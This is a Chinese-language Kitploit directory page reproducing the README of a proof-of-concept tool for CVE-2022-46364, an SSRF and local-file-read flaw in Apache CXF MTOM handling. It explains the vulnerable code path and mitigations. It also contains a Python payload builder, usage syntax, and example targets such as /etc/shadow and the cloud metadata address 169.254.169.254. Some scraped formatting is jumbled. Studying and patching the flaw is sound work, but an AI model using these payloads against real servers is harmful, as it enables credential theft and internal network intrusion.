Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-46364-Proof-of-the-concept — This vulnerability allows an attacker to perform SSRF (Server-Side Request Forgery) attacks on Apache CXF webservices that accept MTOM/XOP requests. The issue exists in how the href attribute of xop:Include is parsed, allowing arbitrary URLs to be requested by the server. | Kitploit
工具/GitHubGitHub/cybermaksx/cve-2022-46364-proof-of-the-concept
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubcybermaksx/cve-2022-46364-proof-of-the-concept

CVE-2022-46364-Proof-of-the-concept

This vulnerability allows an attacker to perform SSRF (Server-Side Request Forgery) attacks on Apache CXF webservices that accept MTOM/XOP requests. The issue exists in how the href attribute of xop:Include is parsed, allowing arbitrary URLs to be requested by the server.

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
24个月前尚未审核

CVE-2022-46364: Apache CXF MTOM XOP:Include SSRF 到 LFI 利用工具

⚠️ 免责声明

此工具仅供教育和已授权的安全测试使用

此概念验证利用工具仅用于教育目的,帮助安全专业人员了解该漏洞并保护其系统。未经授权访问计算机系统是违法的。作者对因使用此工具产生的任何误用或损害不承担任何责任。在测试前,您必须获得系统所有者的明确书面许可。使用此工具即表示您同意遵守所有适用法律。


📋 目录

  1. 概述
  2. 漏洞详情
  3. 技术深入剖析
  4. 利用工具用法
  5. 安装与要求
  6. 缓解措施
  7. 参考资料与致谢

📌 概述

属性值
CVE IDCVE-2022-46364
GHSA IDGHSA-x3x3-qwjq-8gj4
漏洞类型服务端请求伪造 (SSRF) → 本地文件包含 (LFI)
受影响软件Apache CXF < 3.5.5, Apache CXF < 3.4.10
严重性严重
CVSS 评分9.8 (严重)
攻击向量网络
认证要求无需认证
补丁版本Apache CXF 3.5.5+, 3.4.10+

此利用工具利用 Apache CXF 的 MTOM(消息传输优化机制)实现中的一个严重 SSRF 漏洞,从而实现**本地文件包含(LFI)**和内部网络扫描能力。


🔬 漏洞详情

核心问题

当处理 MTOM 编码的 SOAP 消息时,Apache CXF 错误地验证了 xop:Include 元素中的 href 属性。该库使用 Java 的 URLConnection 来解引用 URI,而没有适当的协议限制,允许攻击者指定:

  • file:// - 读取本地文件 (LFI)
  • http:// / https:// - 内部网络请求 (SSRF)
  • ftp:// - FTP 请求(可能进一步利用)

为什么这很重要

此漏洞特别危险,原因如下:

  1. 无需认证 - 攻击者可针对任何可访问的 SOAP 端点
  2. 无特殊权限要求 - 服务器以其自身权限执行请求
  3. 信息泄露 - 可暴露云元数据(AWS、GCP、Azure)、配置文件和源代码
  4. 网络横向移动 - 易受攻击的服务器成为内部网络侦察的代理

受影响配置

任何符合以下条件的 Apache CXF 部署:

  • 接受 MTOM 编码的 SOAP 消息
  • 至少有一个带参数(任何类型)的 Web 服务方法
  • 使用低于 3.5.5(主分支)或 3.4.10(旧分支)的版本

🧠 技术深入剖析

协议背景:MTOM 与 XOP

MTOM(消息传输优化机制)是 W3C 标准,用于优化 SOAP 消息中的二进制数据传输。它使用 XOP(XML 二进制优化打包)来包含二进制数据引用:

root@kitploit:~
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

通常,href 包含一个指向 MIME 部分的 CID(内容标识符)引用。然而,Apache CXF 的 AttachmentUtil 类将 href 值作为通用 URI 处理,而没有进行适当的清理。

脆弱代码路径

  1. 请求解析:

    • CXF 接收一个 multipart/related HTTP 请求,其 Content-Type 为 application/xop+xml
    • AttachmentUtil.getAttachmentObject() 处理 xop:Include 元素
  2. URI 解引用:

    • 脆弱方法直接调用 new URL(href).openStream()
    • 没有 file:// 协议阻止
    • 没有网络限制(例如,未验证内部 IP 范围)
  3. 响应嵌入:

    • 获取的内容被 Base64 编码并嵌入到 SOAP 响应中
    • 攻击者在 SOAP 信封中接收数据

代码片段(脆弱模式)

root@kitploit:~
// 简化表示的 CXF < 3.5.5 中的脆弱代码
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // 无协议验证!
    return new DataHandler(url.openStream());
}

LFI 为何奏效

file:// 协议遵循相同的代码路径:

  • file:///etc/passwd → Java 以文件流方式打开 /etc/passwd
  • 文件内容作为附件返回
  • 除 CXF 进程用户的权限外,无文件系统限制

网络扫描能力

通过遍历 IP 和端口,攻击者可以:

  • 发现内部服务
  • 访问云元数据端点(169.254.169.254)
  • 绕过网络分段控制

🛠️ 利用工具用法

命令语法

root@kitploit:~
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            显示此帮助信息并退出
  -t TARGET, --target TARGET
                        目标基础 URL(例如 http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web 服务端点路径(默认:/services/Service)
  -u URL, --url URL     用于 SSRF 的外部 URL(例如 http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  用于 LFI 的本地文件路径(例如 /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  扫描内部网络范围,格式为 CIDR 表示法(例如 192.168.1.0/24)

参数说明


📦 安装与要求

先决条件

root@kitploit:~
# 需要 Python 3.6 或更高版本
python --version

安装步骤

root@kitploit:~
# 克隆仓库
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC

### 依赖

requests>=2.28.0 urllib3>=1.26.0

root@kitploit:~

---

### 核心实现细节

#### 1. MTOM 载荷构造
```python
def create_mtom_payload(uri):
    """创建一个包含 xop:Include 的 multipart/related MTOM 消息"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

🛡️ 缓解措施

官方修复

升级到已修补的版本:

root@kitploit:~
<!-- 对于 Maven 项目 -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- 或旧版 3.4.10 -->
</dependency>

临时措施(如果无法打补丁)

  1. 完全禁用 MTOM(如果不需要):

    root@kitploit:~
    <jaxws:endpoint ...>
        <jaxws:properties>
            <entry key="mtom-enabled" value="false"/>
        </jaxws:properties>
    </jaxws:endpoint>
    
  2. 网络级控制:

    • 限制 CXF 应用服务器的出站连接
    • 使用防火墙阻止从应用层访问内部 IP 范围
    • 实施出口过滤
  3. Web 应用防火墙 (WAF) 规则:

    • 阻止包含 xop:Include 且 href 指向 file:// 或内部 IP 地址的请求

📚 参考资料与致谢

原始研究人员

此漏洞由以下研究人员发现并负责任地披露:

  • Jonathan Leitschuh - 安全研究员
  • Nick Tait - 安全研究员

官方公告

  • Apache CXF 安全公告
  • GitHub 安全公告数据库:GHSA-x3x3-qwjq-8gj4
  • NVD:CVE-2022-46364

相关资源

  • MTOM 规范 (W3C)
  • XOP 规范 (W3C)
  • Apache CXF 文档

致谢

  • Apache CXF 团队迅速响应并发布补丁
  • GitHub 安全实验室发布公告
  • 安全社区遵守负责任披露实践

📄 许可证

此工具仅供教育目的。禁止未经授权的使用。

root@kitploit:~
本软件按“现状”提供,不提供任何明示或暗示的担保,包括但不限于适销性、特定用途适用性和非侵权性的担保。在任何情况下,作者或版权持有人均不对因本软件或本软件的使用或其他交易而引起的任何索赔、损害或其他责任负责,无论是合同行为、侵权行为还是其他行为。

最后更新: 2026年3月
版本: 1.0
联系方式: 如有安全问题或疑问,请在 GitHub 上提交 issue。


本文档是负责任的 security 研究的一部分。测试前请务必获得适当授权。

下载工具
参数描述示例
-t, --target必需。目标 Apache CXF 服务的基础 URLhttp://10.10.10.50:8080
-e, --endpoint可选。SOAP 端点路径/services/UserManagement
-u, --url通过 SSRF 获取的 HTTP/HTTPS URLhttp://169.254.169.254/latest/user-data
-f, --file通过 LFI 读取的本地文件路径/etc/shadow, C:\ProgramData\secret.txt